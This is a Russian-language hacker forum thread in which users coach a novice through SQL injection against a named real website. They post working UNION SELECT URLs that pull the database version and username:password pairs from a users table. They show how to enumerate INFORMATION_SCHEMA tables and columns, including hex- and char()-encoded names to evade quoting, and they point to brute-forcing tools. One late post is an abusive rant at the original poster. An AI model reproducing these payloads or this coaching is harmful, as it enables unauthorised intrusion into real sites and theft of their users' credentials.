SQL-inj

[Qwertison]

Вот SQL-inj http://mir-tech.ru/select.php?cat=2&categ=2&l=0&cat_num=25&mess=-1
Можете мне обьяснить дураку, ато я никак не пойму как подбирать количество столбцов и их названия?

[Basurman]

А там нет скули. Поищи другие скрипты

[Qwertison]

Всмысле, ошибка же есть?

[Ksander]

Там не смотрел, но вот тут она точно есть

хттп://mir-tech.ru/group.php?cat=-1+union+select+version()/*
хттп://mir-tech.ru/group.php?cat=-1+union+select+concat(name,0x3a,password)+from+mai n_users/*

[Qwertison]

хттп://mir-tech.ru/group.php?cat=-1+union+select+concat(user,0x3a,password)+from+mai n_users/*-
Unknown column 'user' in 'field list'
Еще вопрос. А как ты узнаеш как называется табл. . Main_users, users или accaunts. Так и user, username, password, pass, passwd. Это нужно все комбинации по-очереди пробовать?

[phol1eadeux]

Еще вопрос. А как ты узнаеш как называется табл. . Main_users, users или accaunts. Так и user, username, password, pass, passwd. Это нужно все комбинации по-очереди пробовать?
Можно вручную, либо специализированными программами-брутерами

[Qwertison]

Какими например, я таких не видел.

[phol1eadeux]

SQL Bruter (http://inattack.ru/forum/index.php?act=Attach&type=post&id=652) - одна из них

[Ksander]

хттп://mir-tech.ru/group.php?cat=-1+union+select+concat(user,0x3a,password)+from+mai n_users/*-
Unknown column 'user' in 'field list'
Еще вопрос. А как ты узнаеш как называется табл. . Main_users, users или accaunts. Так и user, username, password, pass, passwd. Это нужно все комбинации по-очереди пробовать?


Версия мускуля 5, а значит можно их просто посмотреть и выбрать то что нужно, так перебираются таблици:

union select TABLE_NAME from INFORMATION_SCHEMA.TABLES limit 0,1/*

А потом колонки в интересующей нас табле:

union select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='имя_таблици' limit 0,1/*

[ENFIX]

Версия мускуля 5, а значит можно их просто посмотреть и выбрать то что нужно, так перебираются таблици:

union select TABLE_NAME from INFORMATION.SCHEMA_TABLES limit 0,1/*

А потом колонки в интересующей нас табле:

union select COLUMN_NAME from INFORMATION.SCHEMA_COLUMNS where TABLE_NAME='имя_таблици' limit 0,1/*
Все так, только
INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS

[Ksander]

Все так, только
INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS

опечатался =)

[Qwertison]

Уже надеялся что все.. Смотрю название таблы - http://mir-tech.ru/group.php?cat=-1+union+select+TABLE_NAME+fron+INFORMATION_SCHEMA. TABLES limit 0,1/*
Называется CHARACTER_SETS.
Ищу колумн -_http://mir-tech.ru/group.php?cat=-1+union+select+COLUMN_NAME+from+INFORMATION_SCHEMA .COLUMNS+where+TABLE_NAME='CHARACTER_SETS' limit 0,1/* - не пашет???

[Spyder]

Ищу колумн -_http://mir-tech.ru/group.php?cat=-1+union+select+COLUMN_NAME+from+INFORMATION_SCHEMA .COLUMNS+where+TABLE_NAME='CHARACTER_SETS' limit 0,1/* - не пашет???
http://mir-tech.ru/group.php?cat=-1+union+select+COLUMN_NAME+from+INFORMATION_SCHEMA .COLUMNS+where+TABLE_NAME=0x4348415241435445525f53 455453 limit 0,1/*

[delay(0)]

Можно и так,
http://mir-tech.ru/group.php?cat=-1+union+select+COLUMN_NAME+from+INFORMATION_SCHEMA .COLUMNS+where+TABLE_NAME=char(67,72,65,82,65,67,8 4,69,82,95,83,69,84,83)+limit+2,1/*

[Taylorith]

Qwertison
у тя с головой все ок???
я втеме ваши уячзвимости написал тчо икак .... меня бесят такие люди.. тока флудить могут какого зхрена ты создаешь тему клоН?????? ваще чтоли даун... больше слов нет

[Серенький]

для подбора таблиц и много для чего -
SQl Injection tool, советую